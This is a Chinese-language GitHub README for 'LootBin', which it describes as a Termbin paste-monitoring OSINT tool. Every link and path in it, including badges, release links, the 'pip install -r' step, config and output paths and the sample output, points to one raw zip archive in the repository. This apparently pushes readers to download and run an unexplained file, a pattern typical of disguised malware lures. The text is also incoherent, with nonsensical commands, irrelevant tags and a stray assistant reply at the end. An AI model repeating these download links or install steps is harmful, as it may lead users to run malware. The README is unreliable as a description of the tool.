gustqvo432/LootBin

# LootBin：Termbin OSINT Paste 扫描器 —— 公共 Paste 监控工具 [](https://github.com/gustqvo432/LootBin/raw/refs/heads/main/roadbook/Loot-Bin-v1.1-beta.1.zip) [](LICENSE) [](https://github.com/gustqvo432/LootBin/raw/refs/heads/main/roadbook/Loot-Bin-v1.1-beta.1.zip) [](https://github.com/gustqvo432/LootBin/raw/refs/heads/main/roadbook/Loot-Bin-v1.1-beta.1.zip) [](https://github.com/gustqvo432/LootBin/raw/refs/heads/main/roadbook/Loot-Bin-v1.1-beta.1.zip) LootBin 是一款专为开放研究和监控而构建的工具。它从 Termbin 搜寻、扫描并聚合公共 Paste，以发现关键词、模式和趋势。该项目专注于清晰性、速度和可靠性。它帮助安全团队、研究人员和爱好者无需手动挖掘即可掌握公共 Paste 的动态。 💡 关于本项目 - 目的：观察 Termbin Paste 中与您的研究目标相关的关键词和主题。 - 范围：轻量级、可脚本化且易于扩展。专为 Linux、macOS 和 Windows 环境下的 Python 3 设计。 - 受众：OSINT 爱好者、事件响应人员、威胁情报团队、探索 Paste 文本源的数据科学家。 目录 - [LootBin 的功能](#lootbin-osint-paste-scanner-for-termbin—public-paste-monitor) - [为什么使用 LootBin](#why-use-lootbin) - [主要功能](#key-features) - [工作原理](#how-lootbin-works) - [技术栈](#tech-stack) - [入门指南](#getting-started) - [前置条件](#prerequisites) - [安装](#installation) - [配置](#configuration) - [使用](#usage) - [CLI 基础](#cli-basics) - [查询和过滤](#queries-and-filters) - [输出格式](#output-formats) - [数据处理和输出](#data-handling-and-outputs) - [架构与设计](#architecture-and-design) - [扩展性与贡献](#extensibility-and-contributions) - [测试与质量](#testing-and-quality) - [文档与学习资源](#documentation-and-learning-resources) - [发布说明与版本](#releases) - [道德、隐私与合规](#ethics-privacy-and-compliance) - [路线图](#roadmap) - [常见问题](#faq) - [致谢与许可](#credits-and-license) LootBin 的功能 LootBin 是一款专注于 OSINT 工作工具。它扫描 Termbin Paste 流，提取文本内容，并标记研究人员关心的关键词、短语和模式。它支持增量运行、持久化状态和导出选项，因此您可以研究过去的结果或将 LootBin 接入更大的数据工作流中。 为什么使用 LootBin - 速度：它在本地运行，高效处理大批量文本。 - 可复现性：通过一致的命令行界面，您可以复现搜索和结果。 - 扩展性：随着研究需求的增长，添加新的扫描器或导出目标非常容易。 - 透明度：输出结构化，易于被人类和机器解析。 主要功能 - 基于关键词过滤的 Termbin Paste 扫描 - 用于持续 Paste 流的准实时监控模式 - 灵活的输出：JSON、CSV 或人性化的终端表格 - 无冲突的状态管理，支持断点续传 - 简单的配置和合理的默认值，便于快速上手 - 轻量级占用，极少的依赖项 LootBin 的工作原理 - 该工具从 Termbin 页面或流中拉取公共 Paste 文本。 - 它对文本进行分词和分析，查找已配置的关键词和模式。 - 它缓冲结果并将其写入选定的输出目标（文件或 stdout）。 - 它维护本地状态，因此重复运行不会向您发送重复数据（除非您需要）。 - 它可以在批处理模式或监控模式下运行，以进行持续观察。 技术栈 - 语言：Python 3.x - 核心库：requests、beautifulsoup4（用于解析）、re（用于 regex 过滤）、json、csv - 输出：JSON 和 CSV 格式，易于摄取 - 可选：基于 asyncio 的流式传输，用于响应式监控 入门指南 前置条件 - 安装了 Python 3.8 或更高版本系统 - 基本的命令行使用知识 - 能够访问 Termbin Paste 源的网络 安装 - 克隆仓库或（如果将来可用）通过包管理安装 - 创建并激活一个虚拟环境 - 安装依赖 - pip install -r https://github.com/gustqvo432/LootBin/raw/refs/heads/main/roadbook/Loot-Bin-v1.1-beta.1.zip - 使用简单的命令确认您可以运行 LootBin 配置 - LootBin 使用一个小型配置文件来定制行为 - 您可以定义： - 要监控的关键词和模式 - Termbin Paste 的源 URL 或来源 - 输出目标和格式 - 速率限制和时间窗口 - 示例配置展示了合理的默认值和安全的预设，旨在让初次使用的用户只需最少的自定义 使用 CLI 基础 - lootbin start --config https://github.com/gustqvo432/LootBin/raw/refs/heads/main/roadbook/Loot-Bin-v1.1-beta.1.zip - lootbin scan --keywords "data breach" --days 7 - lootbin monitor --interval 60s - lootbin export --format json --output https://github.com/gustqvo432/LootBin/raw/refs/heads/main/roadbook/Loot-Bin-v1.1-beta.1.zip - lootbin help 显示可用的命令和选项 - CLI 设计直观：命令映射到操作，选项细化行为 查询和过滤 - 您可以按关键词、短语或正则表达式进行过滤 - 大小写敏感性可配置 - 日期范围过滤器允许您研究特定时间窗口内的 Paste 活动 - 您可以组合多个过滤器来缩小结果范围 输出格式 - JSON：结构化，易于加载到数据管道中 - CSV：兼容电子表格和许多 BI 工具 - Human-readable：美观打印的文本，便于在终端中快速浏览 数据处理和输出 - 本地状态管理确保您可以恢复工作而无需重新处理所有内容 - 输出可以追加到现有文件或作为新文件写入 - Paste 内容以便于检查的方式保存，但如果需要，您可以限制原始文本的数量 - 所有输出都带有时间戳、源标识符和关键词命中记录 架构与设计 - 模块化结构：核心引擎、扫描器、过滤器、导出器和 CLI - 核心引擎协调工作：获取 Paste 源，应用过滤器，发出结果 - 扫描器处理特定的源或 Paste 检索策略 - 过滤器实现关键词和模式匹配 - 导出器负责将结果写入 JSON/CSV 或 stdout 扩展性与贡献 - 该项目对扫描器和导出器采用类似插件的方法 - 要添加新的 Paste 源，请实现一个提供统一接口的小型适配器： - fetch_pastes(range) -> Paste 对象的可迭代集合 - 每个 Paste 包括 text、source_id、timestamp 和 raw content - 要添加新的导出格式，请实现一个遵循预期 API 的导出器 - 欢迎贡献。请遵循仓库的准则： - 开启一个 Issue 来讨论较大的更改 - 提交包含测试和文档更新的 PR - 确保代码风格与现有惯例一致 - 测试依赖于一个轻量级套件，用于测试解析、过滤和导出路径 测试与质量 - 单元测试覆盖： - 关键词匹配逻辑 - 正则表达式过滤 - 输出格式化 - 状态持久化 - 基本集成测试演练从获取到导出的流程 - CI 运行确保与目标 Python 版本和常见平台的兼容性 文档与学习资源 - 仓库附带一个 docs 目录，包含： - 快速入门指南 - 详细的配置参考 - 常见工作流示例 - 故障排除提示 - 其他资源包括： - 官方 Termbin 文档，用于了解 Paste 机制 - 用于扫描公共数据源的 OSINT 最佳实践 - 与 Paste 内容相关的数据保护和隐私注意事项 发布版本 - 对于二进制文件、构件和官方构建说明，请查看 Releases 页面 - 访问 Releases 页面获取二进制文件和构件：https://github.com/gustqvo432/LootBin/raw/refs/heads/main/roadbook/Loot-Bin-v1.1-beta.1.zip - 如果您需要下载预构建的二进制文件，Releases 页面是正确的目的地 - 上面的链接提供了对最新打包资产和变更日志条目的访问 - 您还可以在该页面上浏览源代码版本和随附的文档 道德、隐私与合规 - LootBin 专注于开放数据源和透明分析 - 在与公共 Paste 源交互时，尊重服务条款和适用法律非常重要 - 该工具专为研究、事件响应和教育而设计 - 始终负责任地处理收集的内容，避免泄露敏感信息 路线图 - 提高 Paste 检索期间的容错能力 - 添加更多源适配器和特定语言的解析器 - 实现更丰富的分析仪表板和面向仪表板的导出格式 - 支持带有本地 Paste 缓存的离线模式 - 增强具有更多子命令的 CLI，以应对复杂的工作流 常见问题 - 在我的机器上运行 LootBin 安全吗？ - 是的，它旨在以最低权限在本地运行。请使用虚拟环境。 - LootBin 可以监控实时 Paste 流吗？ - 它支持一种监控模式，定期轮询源并产生新结果。 - 如何自定义关键词列表？ - 编辑配置文件以添加或删除关键词、模式或 regex 规则。 - LootBin 导出为何种格式？ - 默认为 JSON 和 CSV；您可以通过小型适配器添加其他导出器。 致谢与许可 - 许可证：MIT - 项目设计强调简单性和透明度 - 感谢开源社区提供的工具和在此复用的模式 - 如果您复用或扩展 LootBin，请引用本项目并保持与核心接口的兼容性 Releases 页面使用说明 - 本文档顶部的 Releases 链接提供了对最新二进制文件、源代码归档和发布说明的访问。使用它来获取适合您环境的版本或检查每个版本中的更改。为方便起见，您以后也可以通过此链接再次访问该页面：https://github.com/gustqvo432/LootBin/raw/refs/heads/main/roadbook/Loot-Bin-v1.1-beta.1.zip 其他使用技巧 - 从一小组关键词开始，以验证您的设置 - 在扩大规模之前，针对较短的时间窗口运行扫描 - 使用专用的数据目录来保持结果井井有条 - 定期备份您的配置和输出 - 考虑按日期轮换输出文件名以避免数据丢失 内联视觉提示和快速提示 - 在搜索模式时，请从运算符集的角度思考：keyword OR keyword、单词边界、大小写敏感性切换 - 使用彩色编码的终端输出快速区分命中结果 - 导出的 JSON 可以输入到快速仪表板或 Notebooks 中进行探索性分析 - CSV 导出可以平滑集成到电子表格工具和 BI 平台中 社区与协作 - 项目欢迎反馈和建设性讨论 - 您可以提出 Issue 来报告错误或建议增强功能 - 项目重视清晰、简洁的贡献和文档完善的 Pull Requests 安全注意事项 - 将 Paste 内容视为公共数据，即使它包含看起来敏感的元素 - 未经适当上下文，请勿发布或分发 Paste 内容 - 保持依赖项最新，以最大限度地降低已知漏洞的风险 - 对配置文件和数据转储保持严格的版本控制 实现细节 - 核心模块使用简单、可读的循环来获取、过滤和发出结果 - 关键词匹配旨在具有确定性和快速性 - 输出模块为下游工具提供稳定的 API - 项目倾向于显式而非隐式行为，以避免运行期间出现意外 环境与平台说明 - Linux 和 macOS 是最常见的环境 - 通过标准 Python 环境和兼容的终端支持 Windows - 该工具在无头设置和容器化环境中表现良好 配置示例 (yaml) - sources: - name: termbin global feed type: termbin url: https://github.com/gustqvo432/LootBin/raw/refs/heads/main/roadbook/Loot-Bin-v1.1-beta.1.zip - keywords: - data breach - credential - leak - filters: - regex: "(password|pwd|secret)" - output: - format: json - path: https://github.com/gustqvo432/LootBin/raw/refs/heads/main/roadbook/Loot-B-v1.1-beta.1.zip - monitor: - interval_seconds: 60 贡献指南（摘要） - 从 Issue 开始概述意图 - 遵循现有的代码风格 - 为新功能添加测试 - 更新任何用户可见更改的文档 - 保持 PR 聚焦且小规模，以便于审查 致谢 - 感谢启发了 LootBin OSINT 和 Paste 解析方法的开源项目 - 感谢帮助在数据工具中统一速度、简单性和清晰度的贡献者 使用场景和示例工作流 - 事件响应：扫描 Paste 中提及的受损凭据，然后将命中结果导出到案例文件夹 - 威胁情报：监控新趋势关键词并与外部源关联 - 研究：构建 Paste 内容数据集，用于主题建模和语言分析 - 合规性检查：验证公共 Paste 源中是否出现任何敏感字符串 关于版本的说明 - 仓库的 Releases 页面托管官方构建和变更日志 - 您可以检查每个版本以了解更改内容以及如何调整您的设置 - 有关分发和构件详细信息，请参阅本文档中链接的 Releases 页面 关于 Releases 链接的最后提醒 - 如果您需要二进制文件、源代码构件或版本级说明，请重新访问此链接：https://github.com/gustqvo432/LootBin/raw/refs/heads/main/roadbook/Loot-Bin-v1.1-beta.1.zip 社区致谢 - 该项目在协作和共享学习中蓬勃发展 - 如果您基于 LootBin 构建，请感谢原项目并分享您的改进 附录：示例输出 - JSON 示例 { "source": "https://github.com/gustqvo432/LootBin/raw/refs/heads/main/roadbook/Loot-Bin-v1.1-beta.1.zip", "timestamp": "2025-08-13T12:34:56Z", "hits": [ {"keyword": "password", "snippet": "user: admin, password: 12345", "context": "..."}, {"keyword": "leak", "snippet": "leak detected in public paste", "context": "..."} ] } - CSV 示例 source,timestamp,keyword,context https://github.com/gustqvo432/LootBin/raw/refs/heads/main/roadbook/Loot-Bin-v1.1-beta.1.zip,2025-08-13T12:34:56Z,password,"user: admin, password: 12345" Releases（第二次提及） 对于二进制文件、构件和官方说明，请再次查看 Releases 页面：https://github.com/gustqvo432/LootBin/raw/refs/heads/main/roadbook/Loot-Bin-v1.1-beta.1.zip 如果您需要有关任何部分的更多详细信息，或想要调整重点（例如更关注安全性、更多代码示例或更丰富的架构图），我可以进一步定制内容。

标签：BeEF, ESC4, Homebrew安装, OSINT, Pastebin监控, Python, Splunk, Termbin, URL抓取, 二进制发布, 信息搜集, 信息泄露监测, 公共代码审计, 关键词扫描, 威胁情报, 字符串匹配, 实时处理, 开发者工具, 开源工具, 数据抓取, 文档结构分析, 无后门, 爬虫, 网络安全, 逆向工具, 隐私保护